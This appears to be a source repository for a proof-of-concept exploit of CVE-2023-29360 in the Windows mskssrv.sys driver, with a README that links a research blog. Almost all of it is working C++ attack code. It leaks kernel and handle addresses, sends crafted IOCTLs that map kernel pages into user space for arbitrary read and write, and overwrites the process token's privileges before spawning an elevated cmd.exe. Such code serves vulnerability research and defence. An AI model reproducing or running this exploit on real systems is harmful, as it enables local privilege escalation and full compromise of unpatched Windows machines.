├── README.md ├── common ├── utils.h ├── structs.h └── utils.cc └── mskssrv ├── poc.h └── poc.cc /README.md: -------------------------------------------------------------------------------- 1 | # CVE-2023-29360 2 | 3 | Blog on the exploit code can be found [here](https://seg-fault.gitbook.io/researchs/windows-security-research/exploit-development/mskssrv.sys-cve-2023-29360) 4 | 5 | -------------------------------------------------------------------------------- /common/utils.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #ifndef _UTILS_H 4 | #define _UTILS_H 5 | 6 | #include 7 | 8 | #include 9 | 10 | #include 11 | #include 12 | #include 13 | 14 | namespace utils { 15 | constexpr int const SystemModuleInformation = 0xb; 16 | constexpr int const SystemHandleInformation = 16; 17 | 18 | class utilities { 19 | public: 20 | uint64_t GetKernelBaseAddress(); 21 | void dumpBuffer(void* ptr, size_t size); 22 | size_t GetHandleAddress(ULONG dwProcessId, USHORT hObject); 23 | int CreateProcessWrapper(LPCTSTR lpApplicationName); 24 | }; 25 | 26 | } // namespace utils 27 | 28 | #endif 29 | -------------------------------------------------------------------------------- /common/structs.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #ifndef COMMON_STRUCTS_H_ 4 | #define COMMON_STRUCTS_H_ 5 | 6 | #include 7 | 8 | #define NTSTATUS LONG 9 | 10 | struct SYSTEM_MODULE { 11 | ULONG64 Reserved1; 12 | ULONG64 Reserved2; 13 | PVOID Base; 14 | ULONG Size; 15 | ULONG Flags; 16 | USHORT Index; 17 | USHORT Unknown; 18 | USHORT LoadCount; 19 | USHORT ModuleNameOffset; 20 | CHAR ImageName[256]; 21 | }; 22 | using PSYSTEM_MODULE = SYSTEM_MODULE*; 23 | 24 | struct SYSTEM_MODULE_INFORMATION { 25 | ULONG ModulesCount; 26 | SYSTEM_MODULE Modules[1]; 27 | }; 28 | 29 | struct SYSTEM_HANDLE_TABLE_ENTRY_INFO { 30 | unsigned short UniqueProcessId; 31 | unsigned short CreatorBackTraceIndex; 32 | unsigned char ObjectTypeIndex; 33 | unsigned char HandleAttributes; 34 | unsigned short HandleValue; 35 | void* Object; 36 | unsigned long GrantedAccess; 37 | long __PADDING__[1]; 38 | }; 39 | 40 | using PSYSTEM_HANDLE_TABLE_ENTRY_INFO = SYSTEM_HANDLE_TABLE_ENTRY_INFO*; 41 | 42 | struct SYSTEM_HANDLE_INFORMATION { 43 | ULONG HandleCount; 44 | SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; 45 | }; 46 | using PSYSTEM_HANDLE_INFORMATION = SYSTEM_HANDLE_INFORMATION; 47 | 48 | using PSYSTEM_MODULE_INFORMATION = SYSTEM_MODULE_INFORMATION*; 49 | 50 | using NtQuerySystemInformation_t = NTSTATUS(NTAPI*)(_In_ ULONG SystemInformationClass, 51 | _In_ PVOID SystemInformation, 52 | _In_ ULONG SystemInformationLength, 53 | _In_ PULONG ReturnLength); 54 | 55 | #endif // COMMON_STRUCTS_H_ 56 | -------------------------------------------------------------------------------- /mskssrv/poc.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #ifndef _POC_H 4 | #define _POC_H 5 | 6 | #include 7 | 8 | #include 9 | #include 10 | 11 | #include "common/utils.h" 12 | 13 | namespace poc { 14 | 15 | struct _FSStreamRegInfo { 16 | int64_t q1; 17 | int64_t q2; 18 | int64_t q3; 19 | int q4; 20 | unsigned int f2; 21 | unsigned int q5; 22 | int f1; 23 | HANDLE ObjectHandle; 24 | }; 25 | 26 | struct FSMemoryStream { 27 | int64_t q0; 28 | int64_t q1; 29 | int64_t q2; 30 | int64_t g1; 31 | PVOID VirtualAddress2; 32 | int64_t q5; 33 | int q6; 34 | int VirtualAddressLength2; 35 | PVOID VirtualAddress1; 36 | int q8; 37 | int VirtualAddressLength1; 38 | uint64_t switch_case; 39 | int64_t q10; 40 | int64_t q11; 41 | int64_t q12; 42 | int64_t q13; 43 | int64_t q14; 44 | int64_t q15; 45 | int64_t q16; 46 | }; 47 | 48 | struct FSFrameInfo { 49 | int64_t q1; 50 | int64_t q2; 51 | int64_t q3; 52 | int64_t q4; 53 | int ArrayCounter; 54 | int h1; 55 | struct FSMemoryStream FSMemoryStreamArray; 56 | }; 57 | void ElevatePriv(); 58 | bool once = true; 59 | utils::utilities utils_; 60 | 61 | class Driver { 62 | public: 63 | bool SendDataToDriver(int ioctl_code, 64 | PVOID buffer, 65 | size_t buffer_len, 66 | PVOID OutBuffer = nullptr, 67 | size_t out_buffer_len = -1); 68 | bool ConnectToMskSSRVPort(); 69 | 70 | private: 71 | LPCWSTR lpFileName = 72 | L"\\\\?\\ROOT#SYSTEM#0000#{3c0d501a-140b-11d1-b40f-00a0c9223196}\\{96E080C7-143C-11D1-B40F-" 73 | L"00A0C9223196}&{3C0D501A-140B-11D1-B40F-00A0C9223196}"; 74 | HANDLE hDevice = nullptr; 75 | }; 76 | 77 | class Bug { 78 | public: 79 | bool Start(); 80 | bool InitializeDriverHandles(); 81 | bool RegisterStream(); 82 | bool PublishTx(uint64_t addr); 83 | bool ConsumeTx(); 84 | bool DrainTx(); 85 | uint64_t GetMappedAddr() { return user_mapped_addr_; } 86 | bool InitializeStream(); 87 | bool InitializeGlobalRendezvous(); 88 | 89 | private: 90 | uint64_t kBaseAddr = 0x00; 91 | Driver driver1_; 92 | Driver driver2_; 93 | uint64_t user_mapped_addr_ = 0x00; 94 | }; 95 | 96 | } // namespace poc 97 | 98 | #endif 99 | -------------------------------------------------------------------------------- /common/utils.cc: -------------------------------------------------------------------------------- 1 | #include "utils.h" 2 | 3 | #include 4 | 5 | #include 6 | 7 | #include "structs.h" 8 | 9 | namespace utils { 10 | 11 | uint64_t utilities::GetKernelBaseAddress() { 12 | ULONG len = 0; 13 | NTSTATUS(NTAPI * NtQuerySystemInformation) 14 | (const int SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, 15 | PULONG ReturnLength) = 16 | (NTSTATUS(NTAPI*)(const int, PVOID, ULONG, PULONG))GetProcAddress( 17 | GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation"); 18 | 19 | NTSTATUS status = NtQuerySystemInformation(SystemModuleInformation, nullptr, 0, &len); 20 | if (len == 0) { 21 | std::cout << "[-]Failed to get the correct length for system information." << std::endl; 22 | return 1; 23 | } 24 | 25 | // Allocate buffer for the modules information 26 | std::vector buffer(len); 27 | PSYSTEM_MODULE_INFORMATION moduleInfo = 28 | reinterpret_cast(buffer.data()); 29 | 30 | // Query again using the correct size 31 | status = NtQuerySystemInformation(SystemModuleInformation, moduleInfo, len, &len); 32 | if (status != 0 /* STATUS_SUCCESS */) { 33 | std::cout << "[-] NtQuerySystemInformation failed." << std::endl; 34 | return 1; 35 | } 36 | 37 | // Print the base address of the first module, typically the kernel 38 | std::cout << "[-] Kernel Base Address: 0x" << std::hex << moduleInfo->Modules[0].Base 39 | << std::endl; 40 | return reinterpret_cast(moduleInfo->Modules[0].Base); 41 | } 42 | 43 | void dumpBuffer(void* ptr, size_t size) { 44 | auto* bytePtr = static_cast(ptr); 45 | std::cout << "Memory dump from: 0x" << std::hex << ptr << std::endl; 46 | std::cout << std::hex << std::setfill('0'); 47 | 48 | for (size_t i = 0; i < size; ++i) { 49 | // Print the memory address and the hex values in groups of 16 bytes 50 | if (i % 16 == 0) { 51 | if (i != 0) 52 | std::cout << std::endl; 53 | std::cout << "0x" << std::setw(8) << reinterpret_cast(bytePtr + i) << ": "; 54 | } 55 | 56 | std::cout << std::setw(2) << static_cast(bytePtr[i]) << " "; 57 | 58 | // Print ASCII values at the end of each line 59 | if (i % 16 == 15 || i == size - 1) { 60 | std::cout << " " << std::endl; 61 | for (size_t j = i - i % 16; j <= i; ++j) 62 | std::cout << (std::isprint(bytePtr[j]) ? static_cast(bytePtr[j]) : '.'); 63 | } 64 | } 65 | std::cout << std::dec << std::endl; 66 | } 67 | 68 | int utilities::CreateProcessWrapper(LPCTSTR lpApplicationName) { 69 | STARTUPINFO si = {sizeof(STARTUPINFO)}; 70 | PROCESS_INFORMATION pi; 71 | 72 | // CreateProcess parameters 73 | LPTSTR lpCommandLine = NULL; 74 | LPSECURITY_ATTRIBUTES lpProcessAttributes = NULL; 75 | LPSECURITY_ATTRIBUTES lpThreadAttributes = NULL; 76 | BOOL bInheritHandles = FALSE; 77 | DWORD dwCreationFlags = CREATE_NEW_CONSOLE; // Use this flag to create a new console window 78 | LPVOID lpEnvironment = NULL; 79 | LPCTSTR lpCurrentDirectory = NULL; 80 | LPSTARTUPINFO lpStartupInfo = &si; 81 | LPPROCESS_INFORMATION lpProcessInformation = π 82 | 83 | // Create the new process 84 | if (!CreateProcess(lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, 85 | bInheritHandles, dwCreationFlags, lpEnvironment, lpCurrentDirectory, 86 | lpStartupInfo, lpProcessInformation)) { 87 | // Failed to create process 88 | std::cout << "[-] Failed to create process. Error code: 0x" << std::hex << GetLastError() 89 | << std::endl; 90 | } 91 | 92 | int pid = pi.dwProcessId; 93 | return pid; 94 | } 95 | 96 | size_t utilities::GetHandleAddress(ULONG dwProcessId, USHORT hObject) { 97 | // NtQuerySystemInformation_t NtQuerySystemInformation = NULL; 98 | NTSTATUS(NTAPI * NtQuerySystemInformation) 99 | (const int SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, 100 | PULONG ReturnLength) = 101 | (NTSTATUS(NTAPI*)(const int, PVOID, ULONG, PULONG))GetProcAddress( 102 | GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation"); 103 | 104 | DWORD dwHandleSize = 4096 * 16 * 16; 105 | BYTE* HandleInformation; 106 | DWORD BytesReturned; 107 | ULONG i; 108 | 109 | HandleInformation = (BYTE*)malloc(dwHandleSize); 110 | 111 | // Get handle information 112 | while (NtQuerySystemInformation(16, HandleInformation, dwHandleSize, &BytesReturned) != 0) 113 | HandleInformation = (BYTE*)realloc(HandleInformation, dwHandleSize *= 2); 114 | 115 | // Find handle 116 | SYSTEM_HANDLE_INFORMATION* HandleInfo = (SYSTEM_HANDLE_INFORMATION*)HandleInformation; 117 | PSYSTEM_HANDLE_TABLE_ENTRY_INFO CurrentHandle = &HandleInfo->Handles[0]; 118 | 119 | for (i = 0; i < HandleInfo->HandleCount; CurrentHandle++, i++) { 120 | if (CurrentHandle->UniqueProcessId == dwProcessId && 121 | CurrentHandle->HandleValue == hObject) { 122 | return (size_t)CurrentHandle->Object; 123 | } 124 | } 125 | 126 | return NULL; 127 | } 128 | 129 | } // namespace utils 130 | -------------------------------------------------------------------------------- /mskssrv/poc.cc: -------------------------------------------------------------------------------- 1 | #include "poc.h" 2 | 3 | #include 4 | 5 | #include 6 | #include 7 | 8 | #include "common/structs.h" 9 | #include "common/utils.h" 10 | 11 | poc::Bug poc_; 12 | 13 | uint64_t ReadPrimitive(uint64_t where) { 14 | // Initialize Stream 15 | bool status = false; 16 | if (poc::once) { 17 | poc_.InitializeStream(); 18 | } 19 | 20 | // PublishTx 21 | status = poc_.PublishTx(where); 22 | 23 | // Register Stream 24 | if (poc::once) { 25 | poc_.RegisterStream(); 26 | poc::once = false; 27 | } 28 | 29 | // ConsumeTx 30 | poc_.ConsumeTx(); 31 | 32 | // DrainTx 33 | poc_.DrainTx(); 34 | 35 | return *reinterpret_cast(poc_.GetMappedAddr()); 36 | } 37 | 38 | void WritePrimitive(uint64_t What, uint64_t Where) { 39 | // PublishTx 40 | poc_.PublishTx(Where); 41 | 42 | // ConsumeTx 43 | poc_.ConsumeTx(); 44 | 45 | // DrainTx 46 | poc_.DrainTx(); 47 | 48 | *reinterpret_cast(poc_.GetMappedAddr()) = What; 49 | std::cout << "[+] Value written" << std::endl; 50 | } 51 | 52 | namespace poc { 53 | 54 | bool Driver::ConnectToMskSSRVPort() { 55 | hDevice = CreateFileW(lpFileName, GENERIC_READ | GENERIC_WRITE, 0, nullptr, OPEN_EXISTING, 56 | FILE_ATTRIBUTE_NORMAL, nullptr); 57 | 58 | if (hDevice == INVALID_HANDLE_VALUE) { 59 | std::cout << "[-] Error connecting to mskssrv driver with error: 0x" << std::hex << hDevice 60 | << GetLastError() << std::endl; 61 | return false; 62 | } 63 | return true; 64 | } 65 | 66 | bool Bug::DrainTx() { 67 | std::cout << "[+] Draining Tx data" << std::endl; 68 | auto* pFSFrameInfo = static_cast(malloc(sizeof(FSFrameInfo))); 69 | memset(pFSFrameInfo, 0x00, sizeof(FSFrameInfo)); 70 | 71 | pFSFrameInfo->ArrayCounter = 1; 72 | pFSFrameInfo->q1 = 1; 73 | pFSFrameInfo->q2 = 1; 74 | pFSFrameInfo->q3 = 1; 75 | pFSFrameInfo->q4 = 1; 76 | pFSFrameInfo->h1 = 1; 77 | pFSFrameInfo->FSMemoryStreamArray.VirtualAddressLength1 = 0x100; 78 | pFSFrameInfo->FSMemoryStreamArray.VirtualAddressLength2 = 0x1000; 79 | pFSFrameInfo->FSMemoryStreamArray.switch_case = 1; 80 | 81 | return driver1_.SendDataToDriver(0x2f0424, pFSFrameInfo, sizeof(FSFrameInfo), pFSFrameInfo, 82 | sizeof(FSFrameInfo)); 83 | } 84 | 85 | bool Bug::InitializeGlobalRendezvous() { 86 | std::cout << "[+] Initializing the global Rendezvous" << std::endl; 87 | auto* stream_data = static_cast<_FSStreamRegInfo*>(malloc(sizeof(_FSStreamRegInfo))); 88 | memset(stream_data, 0x0, sizeof(_FSStreamRegInfo)); 89 | HANDLE hEvent = CreateEvent(nullptr, NULL, NULL, nullptr); 90 | stream_data->ObjectHandle = hEvent; 91 | stream_data->q2 = GetCurrentProcessId(); 92 | stream_data->q1 = 0x5; 93 | stream_data->f2 = 0x50; 94 | stream_data->q5 = 0x20000; 95 | stream_data->q3 = 1; 96 | 97 | return driver1_.SendDataToDriver(0x2f0400, stream_data, sizeof(_FSStreamRegInfo)); 98 | } 99 | 100 | bool Bug::InitializeStream() { 101 | std::cout << "[+] Initializing the data stream" << std::endl; 102 | auto* stream_data = static_cast<_FSStreamRegInfo*>(malloc(sizeof(_FSStreamRegInfo))); 103 | memset(stream_data, 0x0, sizeof(_FSStreamRegInfo)); 104 | HANDLE hEvent = CreateEvent(nullptr, NULL, NULL, nullptr); 105 | stream_data->ObjectHandle = hEvent; 106 | stream_data->q2 = GetCurrentProcessId(); 107 | stream_data->q1 = 0x5; 108 | stream_data->f2 = 0x50; 109 | stream_data->q5 = 0x20000; 110 | stream_data->q3 = 1; 111 | 112 | return driver1_.SendDataToDriver(0x2f0404, stream_data, sizeof(_FSStreamRegInfo)); 113 | } 114 | 115 | bool Bug::PublishTx(uint64_t addr) { 116 | std::cout << "[+] Publishing Tx data" << std::endl; 117 | auto* pFSFrameInfo = static_cast(malloc(sizeof(FSFrameInfo))); 118 | memset(pFSFrameInfo, 0x00, sizeof(FSFrameInfo)); 119 | 120 | pFSFrameInfo->ArrayCounter = 1; 121 | pFSFrameInfo->q1 = 1; 122 | pFSFrameInfo->q2 = 1; 123 | pFSFrameInfo->q3 = 1; 124 | pFSFrameInfo->q4 = 1; 125 | pFSFrameInfo->h1 = 1; 126 | pFSFrameInfo->FSMemoryStreamArray.VirtualAddress1 = (PVOID)addr; 127 | pFSFrameInfo->FSMemoryStreamArray.VirtualAddress2 = (PVOID)addr; 128 | pFSFrameInfo->FSMemoryStreamArray.VirtualAddressLength1 = 0x100; 129 | pFSFrameInfo->FSMemoryStreamArray.VirtualAddressLength2 = 0x100; 130 | pFSFrameInfo->FSMemoryStreamArray.switch_case = 131 | 0xffffffff00000008; // This is needed for RW for mapped pages 132 | 133 | return driver1_.SendDataToDriver(0x2f0408, pFSFrameInfo, sizeof(FSFrameInfo)); 134 | } 135 | 136 | bool Bug::RegisterStream() { 137 | std::cout << "[+] Registering the stream" << std::endl; 138 | auto* stream_data = static_cast<_FSStreamRegInfo*>(malloc(sizeof(_FSStreamRegInfo))); 139 | memset(stream_data, 0x00, sizeof(_FSStreamRegInfo)); 140 | HANDLE hEvent = CreateEvent(nullptr, NULL, NULL, nullptr); 141 | stream_data->ObjectHandle = hEvent; 142 | stream_data->q2 = GetCurrentProcessId(); 143 | stream_data->q1 = 0x3; 144 | stream_data->f2 = 0x50; 145 | stream_data->q5 = 0x20000; 146 | stream_data->q3 = 1; 147 | 148 | return driver2_.SendDataToDriver(0x2F0420, stream_data, sizeof(_FSStreamRegInfo)); 149 | } 150 | 151 | bool Bug::ConsumeTx() { 152 | std::cout << "[+] Consuming Tx data" << std::endl; 153 | auto* pFSFrameInfo = static_cast(malloc(sizeof(FSFrameInfo))); 154 | memset(pFSFrameInfo, 0x00, sizeof(FSFrameInfo)); 155 | 156 | pFSFrameInfo->ArrayCounter = 1; 157 | pFSFrameInfo->q1 = 1; 158 | pFSFrameInfo->q2 = 1; 159 | pFSFrameInfo->q3 = 1; 160 | pFSFrameInfo->q4 = 1; 161 | pFSFrameInfo->h1 = 1; 162 | pFSFrameInfo->FSMemoryStreamArray.VirtualAddressLength1 = 0x100; 163 | pFSFrameInfo->FSMemoryStreamArray.VirtualAddressLength2 = 0x1000; 164 | pFSFrameInfo->FSMemoryStreamArray.switch_case = 1; 165 | 166 | size_t out_buffer_len = 0xb0; 167 | PVOID outBuffer = malloc(out_buffer_len); 168 | memset(outBuffer, 0x00, out_buffer_len); 169 | 170 | driver1_.SendDataToDriver(0x2f0410, pFSFrameInfo, sizeof(FSFrameInfo), outBuffer, 171 | out_buffer_len); 172 | 173 | user_mapped_addr_ = *reinterpret_cast(static_cast(outBuffer) + 0x28 + 0x20); 174 | 175 | std::cout << "\t[+] Kernel pages mapped at 0x" << std::hex << user_mapped_addr_ << std::endl; 176 | return true; 177 | } 178 | 179 | bool Bug::Start() { 180 | // Elevate Privs 181 | ElevatePriv(); 182 | 183 | return true; 184 | } 185 | 186 | bool Driver::SendDataToDriver(int ioctl_code, 187 | PVOID buffer, 188 | size_t buffer_len, 189 | PVOID OutBuffer, 190 | size_t out_buffer_len) { 191 | NTSTATUS status = -1; 192 | status = DeviceIoControl(hDevice, ioctl_code, buffer, buffer_len, OutBuffer, out_buffer_len, 193 | nullptr, nullptr); 194 | if (status != 0) { 195 | return true; 196 | } 197 | 198 | std::cout << "[-] Error sending data to driver successfully. ErrorCode: " << GetLastError() 199 | << std::endl; 200 | return false; 201 | } 202 | 203 | void ElevatePriv() { 204 | int pid = GetCurrentProcessId(); 205 | std::cout << "[+] Created a new cmd.exe with pid: " << pid << std::endl; 206 | Sleep(1000); 207 | 208 | HANDLE currentToken = nullptr; 209 | BOOL status = OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, ¤tToken); 210 | if (status == 0) { 211 | std::cout << "[-] Error getting process token handle" << std::endl; 212 | return; 213 | } 214 | std::cout << "[+] Token Handle: " << currentToken << std::endl; 215 | 216 | // Iterate through all handleInfo and find the one associated with the target process 217 | uint64_t token_addr = 0; 218 | token_addr = utils_.GetHandleAddress(pid, (USHORT)currentToken); 219 | 220 | std::cout << "[+] Token address for spawned pid: 0x" << std::hex << token_addr << std::endl; 221 | 222 | // These are kernel values for _TOKEN+0x40 which we copy on our _TOKEN fields. 223 | // +0x40 : 0000001f`f2ffffbc 224 | // +0x48 : 0000001e`60b1e890 225 | // +0x50 : 0000001e`60b1e890 226 | 227 | uint64_t token_privs = (token_addr & 0xfffffffffffffff0) + 0x40; 228 | std::cout << "[+] Token address with privielges info: 0x" << std::hex << token_privs 229 | << std::endl; 230 | ReadPrimitive(token_privs); 231 | WritePrimitive(0x1ff2ffffbc, token_privs); 232 | WritePrimitive(0x1ff2ffffbc, token_addr + 8); 233 | WritePrimitive(0x1ff2ffffbc, token_addr + 16); 234 | 235 | // We need to create a process after modifying the _TOKEN in order to use it for child 236 | // process 237 | utils_.CreateProcessWrapper(L"C:\\Windows\\System32\\cmd.exe"); 238 | } 239 | 240 | bool Bug::InitializeDriverHandles() { 241 | kBaseAddr = utils_.GetKernelBaseAddress(); 242 | 243 | return driver1_.ConnectToMskSSRVPort() && driver2_.ConnectToMskSSRVPort() && 244 | InitializeGlobalRendezvous(); 245 | } 246 | 247 | } // namespace poc 248 | 249 | int main() { 250 | std::cout << "[+] Initializing 2 driver handles" << std::endl; 251 | poc_.InitializeDriverHandles(); 252 | std::cout << "[+] Connected to mskssrv.sys driver" << std::endl; 253 | 254 | if (poc_.Start()) { 255 | std::cout << "[+] Exploit completed successfully" << std::endl; 256 | return 0; 257 | } 258 | 259 | std::cout << "[!] Exploit execution failed" << std::endl; 260 | return -1; 261 | } 262 | --------------------------------------------------------------------------------